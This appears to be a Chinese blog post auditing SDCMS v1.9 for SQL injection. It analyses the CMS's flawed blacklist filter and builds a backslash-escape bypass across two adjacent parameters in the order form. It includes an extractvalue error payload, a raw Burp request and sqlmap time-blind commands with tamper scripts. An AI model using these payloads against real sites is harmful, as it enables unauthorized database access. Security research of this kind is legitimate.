sdcms代码审计之sql注入

发布时间:2025-12-09 17:48:12 浏览次数:4

1.漏洞注入点分析(黑名单 )
2.注入payload构造(双参数构造,sqlmap绕过)

注册账号后发现网站有在线留言功能,可以查看能否注入

但是没有两个连在一起的可控参数,无法利用成功

继续往下查看

查看F函数

#F函数(get和post)function F($a,$b=''){$a=strtolower($a);if(!strpos($a,'.')){$method='other';}else{list($method,$a)=explode('.',$a,2);}switch ($method){case 'get':$input=$_GET;break;case 'post':$input=$_POST;break;case 'other':switch (REQUEST_METHOD){case 'GET':$input=$_GET;break;case 'POST':$input=$_POST;break;default:return '';break;}break;default:return '';break;}$data=isset($input[$a])?$input[$a]:$b;if(is_string($data)){$data=enhtml(trim($data));//过滤数据}return $data;}

分析发现最后传递给了data变量
enhtml函数内容

*stripslashes函数去除加的*

查看黑名单函数

复制出来然后看哪些字符可以绕过

function filterExp($a){return (preg_match('/^select|insert|create|update|delete|alter|sleep|payload|assert|\'|\\|\.\.\/|\.\/|load_file|outfile/i',$a))?'':$a;}

此处的\过滤对\过滤失效,在php中应该使用\\来过滤\。
我们可以考虑使用\进行sql注入

\\->转义后成为了一个\\\\\->转义后成为了两个\\, \\反斜杠才是字符意义上的\,其中一个是用来转义的\

update,seleep函数被过滤,可以考虑extractvalue()报错函数,和benchmark()时间盲注函数

双参数插入绕过单引号注入

条件:两个参数必须连接在一起

'abc','127.0.0.1'第一个参数加\第二个参数payload'abc\' 'payload'\'将原来用于闭合的'转义为字符串单引号。'abc和payload前的'闭合。最后执行payload

续寻找有两个连在一起的可控参数
查看路由,进入order函数页面
但是sdcms.php是加密的,无法查看。可以通过浏览器浏览页面来猜测路由

写入测试代码测试是否为此模块
页面无显示

查看order方法位于哪个控制器

然后在order方法中写入测试代码

根据以上猜测构造url

http://127.0.0.1/sdcmsv1.9/?c=index&a=cate&classid=1http://127.0.0.1/sdcmsv1.9/?c=other&a=order

查看order函数猜测可能是一个下单的处理函数,因此登录后台添加一个产品再做尝试

明天继续

然后用户登录页面点击订购抓包

burp进行sql注入尝试

构造payload
查看insert语句插入了多少字段

address=a&remark=a需要注入的两个点插入语句是INSERRT INTO sd_order(pro_name,pri_num,pro_price,orderid,truename,mobile,address,remark,ispay,isover,createdate,postip,userid) VALUES(1,2,3,4,5,6,payload1,payload2,9,10,11,12,13)INSERT INTO sd_order(adress,remark) VALUES ('','')payload1为1\ payload2为, 1 and extractvalue(1,concat(0x7e,(select user()), 0x7e)),1,1,1,1,1)#

使用Burp进行sql报错尝试。



sqlmap进行注入


11.txt内容

POST /sdcmsv1.9/?c=other&a=order&id=1 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 61Origin: http://127.0.0.1Connection: closeReferer: http://127.0.0.1/sdcmsv1.9/?c=index&a=show&id=1Cookie: PHPSESSID=1gj026jd6r1p2sll0uecm4hmu5truename=a&mobile=15012345678&pronum=1&address=a\&remark=,1 *,1,1,1,1,1)#

使用sqlmap

1.python sqlmap.py -r 11.txt --dbms=mysql --technique=T -v 3#--technique是指定注入的技术——时间盲注 -v3 显示详细信息 2.python sqlmap.py -r 11.txt --dbms=mysql --technique=T --test-filter=benchmark --tamper=between,greatest -v 3 --batch#--test-filter=benchmark自定义payload里边的检测函数,由于sleep被过滤,用benchmark#tamper脚本between替换>,绕过htmlspecil函数#greatest脚本大于号替换为greatest

总结

  • 此sql注入第一次在burp报错注入的时候,查看报错日志后发现虽然sql注入成功,但是错误信息会被cms系统统一显示,无法利用报错注入。
  • 利用sqlmap的tamper,和替换sleep函数,可以进行时间盲注。
  • 需要做网站?需要网络推广?欢迎咨询客户经理 13272073477